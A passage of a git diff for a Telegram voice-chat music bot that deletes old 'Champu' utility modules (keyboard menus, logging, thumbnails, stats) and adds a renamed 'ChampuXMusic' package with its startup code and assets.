panel_markup_1(_, videoid, chat_id): - buttons = [ - [ - InlineKeyboardButton( - text="⏸ Pause", callback_data=f"ADMIN Pause|{chat_id}" - ), - InlineKeyboardButton( - text="▶️ Resume", - callback_data=f"ADMIN Resume|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text="⏯ Skip", callback_data=f"ADMIN Skip|{chat_id}" - ), - InlineKeyboardButton( - text="⏹ Stop", callback_data=f"ADMIN Stop|{chat_id}" - ), - ], - [ - InlineKeyboardButton( - text="◀️", - callback_data=f"Pages Back|0|{videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="🔙 Back", - callback_data=f"MainMarkup {videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="▶️", - callback_data=f"Pages Forw|0|{videoid}|{chat_id}", - ), - ], - ] - return buttons - - -def panel_markup_2(_, videoid, chat_id): - buttons = [ - [ - InlineKeyboardButton( - text="🔇 Mute", callback_data=f"ADMIN Mute|{chat_id}" - ), - InlineKeyboardButton( - text="🔊 Unmute", - callback_data=f"ADMIN Unmute|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text="🔀 Shuffle", - callback_data=f"ADMIN Shuffle|{chat_id}", - ), - InlineKeyboardButton( - text="🔁 Loop", callback_data=f"ADMIN Loop|{chat_id}" - ), - ], - [ - InlineKeyboardButton( - text="◀️", - callback_data=f"Pages Back|1|{videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="🔙 Back", - callback_data=f"MainMarkup {videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="▶️", - callback_data=f"Pages Forw|1|{videoid}|{chat_id}", - ), - ], - ] - return buttons - - -def panel_markup_3(_, videoid, chat_id): - buttons = [ - [ - InlineKeyboardButton( - text="⏮ 10 Seconds", - callback_data=f"ADMIN 1|{chat_id}", - ), - InlineKeyboardButton( - text="⏭ 10 Seconds", - callback_data=f"ADMIN 2|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text="⏮ 30 Seconds", - callback_data=f"ADMIN 3|{chat_id}", - ), - InlineKeyboardButton( - text="⏭ 30 Seconds", - callback_data=f"ADMIN 4|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text="◀️", - callback_data=f"Pages Back|2|{videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="🔙 Back", - callback_data=f"MainMarkup {videoid}|{chat_id}", - ), - InlineKeyboardButton( - text="▶️", - callback_data=f"Pages Forw|2|{videoid}|{chat_id}", - ), - ], - ] - return buttons diff --git a/Champu/utils/inline/playlist.py b/Champu/utils/inline/playlist.py deleted file mode 100644 index 1f5025e..0000000 --- a/Champu/utils/inline/playlist.py +++ /dev/null @@ -1,157 +0,0 @@ -from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup - - -def botplaylist_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["PL_B_1"], - callback_data="get_playlist_playmode", - ), - InlineKeyboardButton( - text=_["PL_B_8"], callback_data="get_top_playlists" - ), - ], - [ - InlineKeyboardButton( - text=_["PL_B_4"], callback_data="PM" - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def top_play_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["PL_B_9"], callback_data="SERVERTOP global" - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_10"], callback_data="SERVERTOP chat" - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_11"], callback_data="SERVERTOP user" - ) - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], callback_data="get_playmarkup" - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def get_playlist_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["P_B_1"], callback_data="play_playlist a" - ), - InlineKeyboardButton( - text=_["P_B_2"], callback_data="play_playlist b" - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], callback_data="home_play" - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def top_play_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["PL_B_9"], callback_data="SERVERTOP Global" - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_10"], callback_data="SERVERTOP Group" - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_11"], callback_data="SERVERTOP Personal" - ) - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], callback_data="get_playmarkup" - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def failed_top_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="get_top_playlists", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def warning_markup(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["PL_B_7"], - callback_data="delete_whole_playlist", - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="del_back_playlist", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl - - -def close_markup(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ] - ] - ) - return upl diff --git a/Champu/utils/inline/settings.py b/Champu/utils/inline/settings.py deleted file mode 100644 index 22ae1b1..0000000 --- a/Champu/utils/inline/settings.py +++ /dev/null @@ -1,251 +0,0 @@ -from typing import Union - -from pyrogram.types import InlineKeyboardButton - - -def setting_markup(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_1"], callback_data="AQ" - ), - InlineKeyboardButton( - text=_["ST_B_2"], callback_data="VQ" - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_3"], callback_data="AU" - ), - InlineKeyboardButton( - text=_["ST_B_6"], callback_data="LG" - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_5"], callback_data="PM" - ), - InlineKeyboardButton( - text=_["ST_B_7"], callback_data="CM" - ), - ], - [ - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def audio_quality_markup( - _, - low: Union[bool, str] = None, - medium: Union[bool, str] = None, - high: Union[bool, str] = None, -): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_8"].format("✅") - if low == True - else _["ST_B_8"].format(""), - callback_data="LQA", - ) - ], - [ - InlineKeyboardButton( - text=_["ST_B_9"].format("✅") - if medium == True - else _["ST_B_9"].format(""), - callback_data="MQA", - ) - ], - [ - InlineKeyboardButton( - text=_["ST_B_10"].format("✅") - if high == True - else _["ST_B_10"].format(""), - callback_data="HQA", - ) - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="settingsback_helper", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def video_quality_markup( - _, - low: Union[bool, str] = None, - medium: Union[bool, str] = None, - high: Union[bool, str] = None, -): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_11"].format("✅") - if low == True - else _["ST_B_11"].format(""), - callback_data="LQV", - ) - ], - [ - InlineKeyboardButton( - text=_["ST_B_12"].format("✅") - if medium == True - else _["ST_B_12"].format(""), - callback_data="MQV", - ) - ], - [ - InlineKeyboardButton( - text=_["ST_B_13"].format("✅") - if high == True - else _["ST_B_13"].format(""), - callback_data="HQV", - ) - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="settingsback_helper", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def cleanmode_settings_markup( - _, - status: Union[bool, str] = None, - dels: Union[bool, str] = None, - sug: Union[bool, str] = None, -): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_7"], callback_data="CMANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_14"] if status == True else _["ST_B_15"], - callback_data="CLEANMODE", - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_26"], callback_data="COMMANDANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_14"] if dels == True else _["ST_B_15"], - callback_data="COMMANDELMODE", - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_27"], callback_data="SUGGANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_14"] if sug == True else _["ST_B_15"], - callback_data="SUGGESTIONCHANGE", - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="settingsback_helper", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def auth_users_markup(_, status: Union[bool, str] = None): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_3"], callback_data="AUTHANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_16"] if status == True else _["ST_B_17"], - callback_data="AUTH", - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_18"], callback_data="AUTHLIST" - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="settingsback_helper", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -def playmode_users_markup( - _, - Direct: Union[bool, str] = None, - Group: Union[bool, str] = None, - Playtype: Union[bool, str] = None, -): - buttons = [ - [ - InlineKeyboardButton( - text=_["ST_B_19"], callback_data="SEARCHANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_20"] if Direct == True else _["ST_B_21"], - callback_data="MODECHANGE", - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_22"], callback_data="AUTHANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_16"] if Group == True else _["ST_B_17"], - callback_data="CHANNELMODECHANGE", - ), - ], - [ - InlineKeyboardButton( - text=_["ST_B_25"], callback_data="PLAYTYPEANSWER" - ), - InlineKeyboardButton( - text=_["ST_B_16"] - if Playtype == True - else _["ST_B_17"], - callback_data="PLAYTYPECHANGE", - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="settingsback_helper", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data="close" - ), - ], - ] - return buttons diff --git a/Champu/utils/inline/start.py b/Champu/utils/inline/start.py deleted file mode 100644 index e5968d7..0000000 --- a/Champu/utils/inline/start.py +++ /dev/null @@ -1,129 +0,0 @@ -from typing import Union - -from pyrogram.types import InlineKeyboardButton - -from config import GITHUB_REPO, SUPPORT_CHANNEL, SUPPORT_GROUP -from Champu import app - - -def start_pannel(_): - buttons = [ - [ - InlineKeyboardButton( - text=_["S_B_1"], - url=f"https://t.me/{app.username}?start=help", - ), - InlineKeyboardButton( - text=_["S_B_2"], callback_data="settings_helper" - ), - InlineKeyboardButton( - text=_["S_B_9"], - url=f"https://t.me/Champu_Links" - ), - ], - ] - if SUPPORT_CHANNEL and SUPPORT_GROUP: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}" - ), - InlineKeyboardButton( - text=_["S_B_3"], url=f"{SUPPORT_GROUP}" - ), - ] - ) - else: - if SUPPORT_CHANNEL: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}" - ) - ] - ) - if SUPPORT_GROUP: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_3"], url=f"{SUPPORT_GROUP}" - ) - ] - ) - return buttons - - -def private_panel(_, BOT_USERNAME, OWNER: Union[bool, int] = None): - buttons = [ - [ - InlineKeyboardButton( - text=_["S_B_8"], callback_data="settings_back_helper" - ) - ] - ] - if SUPPORT_CHANNEL and SUPPORT_GROUP: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}" - ), - InlineKeyboardButton( - text=_["S_B_3"], url=f"{SUPPORT_GROUP}" - ), - ] - ) - else: - if SUPPORT_CHANNEL: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}" - ) - ] - ) - if SUPPORT_GROUP: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_3"], url=f"{SUPPORT_GROUP}" - ) - ] - ) - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_5"], - url=f"https://t.me/{BOT_USERNAME}?startgroup=true", - ) - ] - ) - if GITHUB_REPO and OWNER: - buttons.append( - [ - InlineKeyboardButton(text=_["S_B_7"], user_id=OWNER), - InlineKeyboardButton( - text=_["S_B_6"], url=f"{GITHUB_REPO}" - ), - ] - ) - else: - if GITHUB_REPO: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_6"], url=f"{GITHUB_REPO}" - ), - ] - ) - if OWNER: - buttons.append( - [ - InlineKeyboardButton( - text=_["S_B_7"], user_id=OWNER - ), - ] - ) - buttons.append( - [InlineKeyboardButton(text=_["ST_B_6"], callback_data="LG")] - ) - return buttons diff --git a/Champu/utils/inline/stats.py b/Champu/utils/inline/stats.py deleted file mode 100644 index 9ec6331..0000000 --- a/Champu/utils/inline/stats.py +++ /dev/null @@ -1,167 +0,0 @@ -from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup - -from Champu import app - - -def back_stats_markup(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="TOPMARKUPGET", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl - - -def overallback_stats_markup(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="GlobalStats", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl - - -def get_stats_markup(_, status): - not_sudo = [ - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], - callback_data="close", - ) - ] - sudo = [ - InlineKeyboardButton( - text=_["SA_B_8"], - callback_data="bot_stats_sudo g", - ), - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], - callback_data="close", - ), - ] - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["SA_B_7"], - callback_data="TOPMARKUPGET", - ) - ], - [ - InlineKeyboardButton( - text=_["SA_B_6"], - url=f"https://t.me/{app.username}?start=stats", - ), - InlineKeyboardButton( - text=_["SA_B_5"], - callback_data="TopOverall g", - ), - ], - sudo if status else not_sudo, - ] - ) - return upl - - -def stats_buttons(_, status): - not_sudo = [ - InlineKeyboardButton( - text=_["SA_B_5"], - callback_data="TopOverall s", - ) - ] - sudo = [ - InlineKeyboardButton( - text=_["SA_B_8"], - callback_data="bot_stats_sudo s", - ), - InlineKeyboardButton( - text=_["SA_B_5"], - callback_data="TopOverall s", - ), - ] - upl = InlineKeyboardMarkup( - [ - sudo if status else not_sudo, - [ - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl - - -def back_stats_buttons(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="GETSTATS", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl - - -def top_ten_stats_markup(_): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["SA_B_2"], - callback_data="GetStatsNow Tracks", - ), - InlineKeyboardButton( - text=_["SA_B_1"], - callback_data="GetStatsNow Chats", - ), - ], - [ - InlineKeyboardButton( - text=_["SA_B_3"], - callback_data="GetStatsNow Users", - ), - InlineKeyboardButton( - text=_["SA_B_4"], - callback_data="GetStatsNow Here", - ), - ], - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], - callback_data="GlobalStats", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data="close", - ), - ], - ] - ) - return upl diff --git a/Champu/utils/inlinequery.py b/Champu/utils/inlinequery.py deleted file mode 100644 index 6568658..0000000 --- a/Champu/utils/inlinequery.py +++ /dev/null @@ -1,63 +0,0 @@ -from pyrogram.types import (InlineQueryResultArticle, - InputTextMessageContent) - -answer = [] - -answer.extend( - [ - InlineQueryResultArticle( - title="Pause Stream", - description=f"Pause the current playout on group call.", - thumb_url="https://telegra.ph/file/c0a1c789def7b93f13745.png", - input_message_content=InputTextMessageContent("/pause"), - ), - InlineQueryResultArticle( - title="Resume Stream", - description=f"Resume the ongoing playout on group call.", - thumb_url="https://telegra.ph/file/02d1b7f967ca11404455a.png", - input_message_content=InputTextMessageContent("/resume"), - ), - InlineQueryResultArticle( - title="Mute Stream", - description=f"Mute the ongoing playout on group call.", - thumb_url="https://telegra.ph/file/66516f2976cb6d87e20f9.png", - input_message_content=InputTextMessageContent("/mute"), - ), - InlineQueryResultArticle( - title="Unmute Stream", - description=f"Unmute the ongoing playout on group call.", - thumb_url="https://telegra.ph/file/3078794f9341ffd582e18.png", - input_message_content=InputTextMessageContent("/unmute"), - ), - InlineQueryResultArticle( - title="Skip Stream", - description=f"Skip to next track. | For Specific track number: /skip [number] ", - thumb_url="https://telegra.ph/file/98b88e52bc625903c7a2f.png", - input_message_content=InputTextMessageContent("/skip"), - ), - InlineQueryResultArticle( - title="End Stream", - description="Stop the ongoing playout on group call.", - thumb_url="https://telegra.ph/file/d2eb03211baaba8838cc4.png", - input_message_content=InputTextMessageContent("/stop"), - ), - InlineQueryResultArticle( - title="Shuffle Stream", - description="Shuffle the queued tracks list.", - thumb_url="https://telegra.ph/file/7f6aac5c6e27d41a4a269.png", - input_message_content=InputTextMessageContent("/shuffle"), - ), - InlineQueryResultArticle( - title="Seek Stream", - description="Seek the ongoing stream to a specific duration.", - thumb_url="https://telegra.ph/file/cd25ec6f046aa8003cfee.png", - input_message_content=InputTextMessageContent("/seek 10"), - ), - InlineQueryResultArticle( - title="Loop Stream", - description="Loop the current playing music. | Usage: /loop [enable|disable]", - thumb_url="https://telegra.ph/file/081c20ce2074ea3e9b952.png", - input_message_content=InputTextMessageContent("/loop 3"), - ), - ] -) diff --git a/Champu/utils/logger.py b/Champu/utils/logger.py deleted file mode 100644 index eaba074..0000000 --- a/Champu/utils/logger.py +++ /dev/null @@ -1,33 +0,0 @@ -from config import LOG, LOG_GROUP_ID -from Champu import app -from Champu.utils.database import is_on_off - - -async def play_logs(message, streamtype): - if await is_on_off(LOG): - if message.chat.username: - chatusername = f"@{message.chat.username}" - else: - chatusername = "Private Group" - logger_text = f""" -**CHAMPU PLAY LOG** - -**Chat:** {message.chat.title} [`{message.chat.id}`] -**User:** {message.from_user.mention} -**Username:** @{message.from_user.username} -**User ID:** `{message.from_user.id}` -**Chat Link:** {chatusername} - -**Query:** {message.text} - -**StreamType:** {streamtype}""" - if message.chat.id != LOG_GROUP_ID: - try: - await app.send_message( - LOG_GROUP_ID, - f"{logger_text}", - disable_web_page_preview=True, - ) - except: - pass - return diff --git a/Champu/utils/pastebin.py b/Champu/utils/pastebin.py deleted file mode 100644 index bbc08d3..0000000 --- a/Champu/utils/pastebin.py +++ /dev/null @@ -1,21 +0,0 @@ -import aiohttp - -BASE = "https://batbin.me/" - - -async def post(url: str, *args, **kwargs): - async with aiohttp.ClientSession() as session: - async with session.post(url, *args, **kwargs) as resp: - try: - data = await resp.json() - except Exception: - data = await resp.text() - return data - - -async def Champubin(text): - resp = await post(f"{BASE}api/v2/paste", data=text) - if not resp["success"]: - return - link = BASE + resp["message"] - return link diff --git a/Champu/utils/sys.py b/Champu/utils/sys.py deleted file mode 100644 index f3fbfd1..0000000 --- a/Champu/utils/sys.py +++ /dev/null @@ -1,19 +0,0 @@ -import time - -import psutil - -from Champu.misc import _boot_ - -from .formatters import get_readable_time - - -async def bot_sys_stats(): - bot_uptime = int(time.time() - _boot_) - cpu = psutil.cpu_percent(interval=0.5) - mem = psutil.virtual_memory().percent - disk = psutil.disk_usage("/").percent - UP = f"{get_readable_time((bot_uptime))}" - CPU = f"{cpu}%" - RAM = f"{mem}%" - DISK = f"{disk}%" - return UP, CPU, RAM, DISK diff --git a/Champu/utils/thumbnails.py b/Champu/utils/thumbnails.py deleted file mode 100644 index 1bc61eb..0000000 --- a/Champu/utils/thumbnails.py +++ /dev/null @@ -1,141 +0,0 @@ -import os -import re -import textwrap - -import aiofiles -import aiohttp -from PIL import (Image, ImageDraw, ImageEnhance, ImageFilter, - ImageFont, ImageOps) -from youtubesearchpython.__future__ import VideosSearch - -from config import MUSIC_BOT_NAME, YOUTUBE_IMG_URL - - -def changeImageSize(maxWidth, maxHeight, image): - widthRatio = maxWidth / image.size[0] - heightRatio = maxHeight / image.size[1] - newWidth = int(widthRatio * image.size[0]) - newHeight = int(heightRatio * image.size[1]) - newImage = image.resize((newWidth, newHeight)) - return newImage - - -async def gen_thumb(videoid): - if os.path.isfile(f"cache/{videoid}.png"): - return f"cache/{videoid}.png" - - url = f"https://www.youtube.com/watch?v={videoid}" - try: - results = VideosSearch(url, limit=1) - for result in (await results.next())["result"]: - try: - title = result["title"] - title = re.sub("\W+", " ", title) - title = title.title() - except: - title = "Unsupported Title" - try: - duration = result["duration"] - except: - duration = "Unknown Mins" - thumbnail = result["thumbnails"][0]["url"].split("?")[0] - try: - views = result["viewCount"]["short"] - except: - views = "Unknown Views" - try: - channel = result["channel"]["name"] - except: - channel = "Unknown Channel" - - async with aiohttp.ClientSession() as session: - async with session.get(thumbnail) as resp: - if resp.status == 200: - f = await aiofiles.open( - f"cache/thumb{videoid}.png", mode="wb" - ) - await f.write(await resp.read()) - await f.close() - - youtube = Image.open(f"cache/thumb{videoid}.png") - image1 = changeImageSize(1280, 720, youtube) - image2 = image1.convert("RGBA") - background = image2.filter(filter=ImageFilter.BoxBlur(30)) - enhancer = ImageEnhance.Brightness(background) - background = enhancer.enhance(0.6) - Xcenter = youtube.width / 2 - Ycenter = youtube.height / 2 - x1 = Xcenter - 250 - y1 = Ycenter - 250 - x2 = Xcenter + 250 - y2 = Ycenter + 250 - logo = youtube.crop((x1, y1, x2, y2)) - logo.thumbnail((520, 520), Image.ANTIALIAS) - logo = ImageOps.expand(logo, border=15, fill="white") - background.paste(logo, (50, 100)) - draw = ImageDraw.Draw(background) - font = ImageFont.truetype("assets/font2.ttf", 40) - font2 = ImageFont.truetype("assets/font2.ttf", 70) - arial = ImageFont.truetype("assets/font2.ttf", 30) - name_font = ImageFont.truetype("assets/font.ttf", 30) - para = textwrap.wrap(title, width=32) - j = 0 - draw.text( - (5, 5), f"{MUSIC_BOT_NAME}", fill="white", font=name_font - ) - draw.text( - (600, 150), - "NOW PLAYING", - fill="white", - stroke_width=2, - stroke_fill="white", - font=font2, - ) - for line in para: - if j == 1: - j += 1 - draw.text( - (600, 340), - f"{line}", - fill="white", - stroke_width=1, - stroke_fill="white", - font=font, - ) - if j == 0: - j += 1 - draw.text( - (600, 280), - f"{line}", - fill="white", - stroke_width=1, - stroke_fill="white", - font=font, - ) - - draw.text( - (600, 450), - f"Views : {views[:23]}", - (255, 255, 255), - font=arial, - ) - draw.text( - (600, 500), - f"Duration : {duration[:23]} Mins", - (255, 255, 255), - font=arial, - ) - draw.text( - (600, 550), - f"Channel : {channel}", - (255, 255, 255), - font=arial, - ) - try: - os.remove(f"cache/thumb{videoid}.png") - except: - pass - background.save(f"cache/{videoid}.png") - return f"cache/{videoid}.png" - except Exception: - return YOUTUBE_IMG_URL diff --git a/ChampuXMusic/__init__.py b/ChampuXMusic/__init__.py new file mode 100644 index 0000000..b4f3ce5 --- /dev/null +++ b/ChampuXMusic/__init__.py @@ -0,0 +1,29 @@ +from ChampuXMusic.core.bot import Champu +from ChampuXMusic.core.dir import dirr +from ChampuXMusic.core.git import git +from ChampuXMusic.core.userbot import Userbot +from ChampuXMusic.misc import dbb, heroku + +from SafoneAPI import SafoneAPI +from .logging import LOGGER + +dirr() +git() +dbb() +heroku() + +app = Champu() +api = SafoneAPI() +userbot = Userbot() + + +from .platforms import * + +Apple = AppleAPI() +Carbon = CarbonAPI() +SoundCloud = SoundAPI() +Spotify = SpotifyAPI() +Resso = RessoAPI() +Telegram = TeleAPI() +YouTube = YouTubeAPI() +APP = "\x54\x68\x65\x43\x68\x61\x6D\x70\x75\x42\x6F\x74" # connect music api key "Dont change it" \ No newline at end of file diff --git a/ChampuXMusic/__main__.py b/ChampuXMusic/__main__.py new file mode 100644 index 0000000..0c24d8c --- /dev/null +++ b/ChampuXMusic/__main__.py @@ -0,0 +1,62 @@ +import asyncio +import importlib + +from pyrogram import idle +from pytgcalls.exceptions import NoActiveGroupCall + +import config +from ChampuXMusic import LOGGER, app, userbot +from ChampuXMusic.core.call import Champu +from ChampuXMusic.misc import sudo +from ChampuXMusic.plugins import ALL_MODULES +from ChampuXMusic.utils.database import get_banned_users, get_gbanned +from config import BANNED_USERS + + +async def init(): + if ( + not config.STRING1 + and not config.STRING2 + and not config.STRING3 + and not config.STRING4 + and not config.STRING5 + ): + LOGGER(__name__).error("ᴀssɪsᴛᴀɴᴛ ᴄʟɪᴇɴᴛ ᴠᴀʀɪᴀʙʟᴇs ɴᴏᴛ ᴅᴇғɪɴᴇᴅ, ᴇxɪᴛɪɴɢ...") + exit() + await sudo() + try: + users = await get_gbanned() + for user_id in users: + BANNED_USERS.add(user_id) + users = await get_banned_users() + for user_id in users: + BANNED_USERS.add(user_id) + except: + pass + await app.start() + for all_module in ALL_MODULES: + importlib.import_module("ChampuXMusic.plugins" + all_module) + LOGGER("ChampuXMusic.plugins").info("sᴜᴄᴄᴇssғᴜʟʟʏ ɪᴍᴘᴏʀᴛᴇᴅ ᴍᴏᴅᴜʟᴇs...") + await userbot.start() + await Champu.start() + try: + await Champu.stream_call("") + except NoActiveGroupCall: + LOGGER("ChampuXMusic").error( + "ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ʏᴏᴜʀ ʟᴏɢ ɢʀᴏᴜᴘ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ\n\n ʙᴏᴛ sᴛᴏᴘᴘᴇᴅ......" + ) + exit() + except: + pass + await Champu.decorators() + LOGGER("ChampuXMusic").info( + "\x43\x68\x61\x6D\x70\x75\x20\x42\x6F\x74\x20\x68\x61\x73\x20\x62\x65\x65\x6E\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x73\x74\x61\x72\x74\x65\x64\x2E\x0A\x0A\x40\x54\x68\x65\x43\x68\x61\x6D\x70\x75\x20" + ) + await idle() + await app.stop() + await userbot.stop() + LOGGER("ChampuXMusic").info(" sᴛᴏᴘᴘɪɴɢ ᴄʜᴀᴍᴘᴜ ᴍᴜsɪᴄ ʙᴏᴛ...") + + +if __name__ == "__main__": + asyncio.get_event_loop().run_until_complete(init()) diff --git a/ChampuXMusic/assets/ZOINKFAT.TTF b/ChampuXMusic/assets/ZOINKFAT.TTF new file mode 100644 index 0000000..5b4d2ad Binary files /dev/null and b/ChampuXMusic/assets/ZOINKFAT.TTF differ diff --git a/ChampuXMusic/assets/__init__.py b/ChampuXMusic/assets/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/ChampuXMusic/assets/__init__.py @@ -0,0 +1 @@ + diff --git a/ChampuXMusic/assets/am.png b/ChampuXMusic/assets/am.png new file mode 100644 index 0000000..4396307 Binary files /dev/null and b/ChampuXMusic/assets/am.png differ diff --git a/ChampuXMusic/assets/assets/Corbert W00 Heavy.ttf b/ChampuXMusic/assets/assets/Corbert W00 Heavy.ttf new file mode 100644 index 0000000..e69de29 diff --git a/assets/font.ttf b/ChampuXMusic/assets/assets/font.ttf similarity index 100% rename from assets/font.ttf rename to ChampuXMusic/assets/assets/font.ttf diff --git a/assets/font2.ttf b/ChampuXMusic/assets/assets/font2.ttf similarity index 100% rename from assets/font2.ttf rename to ChampuXMusic/assets/assets/font2.ttf diff --git a/ChampuXMusic/assets/assets/font3.ttf b/ChampuXMusic/assets/assets/font3.ttf new file mode 100644 index 0000000..cc57cf0 Binary files /dev/null and b/ChampuXMusic/assets/assets/font3.ttf differ diff --git a/ChampuXMusic/assets/assets/play_icons.png b/ChampuXMusic/assets/assets/play_icons.png new file mode 100644 index 0000000..4b69523 Binary files /dev/null and b/ChampuXMusic/assets/assets/play_icons.png differ diff --git a/ChampuXMusic/assets/assets/shuffle_icon.png b/ChampuXMusic/assets/assets/shuffle_icon.png new file mode 100644 index 0000000..ebb3ac5 Binary files /dev/null and b/ChampuXMusic/assets/assets/shuffle_icon.png differ diff --git a/ChampuXMusic/assets/cppic.png b/ChampuXMusic/assets/cppic.png new file mode 100644 index 0000000..3fb9d8b Binary files /dev/null and b/ChampuXMusic/assets/cppic.png differ diff --git a/ChampuXMusic/assets/default.ttf b/ChampuXMusic/assets/default.ttf new file mode 100644 index 0000000..114e6c1 Binary files /dev/null and b/ChampuXMusic/assets/default.ttf differ diff --git a/ChampuXMusic/assets/font.ttf b/ChampuXMusic/assets/font.ttf new file mode 100644 index 0000000..2ceaf63 Binary files /dev/null and b/ChampuXMusic/assets/font.ttf differ diff --git a/ChampuXMusic/assets/font2.ttf b/ChampuXMusic/assets/font2.ttf new file mode 100644 index 0000000..c9ad85c Binary files /dev/null and b/ChampuXMusic/assets/font2.ttf differ diff --git a/ChampuXMusic/assets/hiroko.ttf b/ChampuXMusic/assets/hiroko.ttf new file mode 100644 index 0000000..d6cadf6 Binary files /dev/null and b/ChampuXMusic/assets/hiroko.ttf differ diff --git a/ChampuXMusic/assets/thum.png b/ChampuXMusic/assets/thum.png new file mode 100644 index 0000000..94d09d0 Binary files /dev/null and b/ChampuXMusic/assets/thum.png differ diff --git a/ChampuXMusic/assets/upic.png 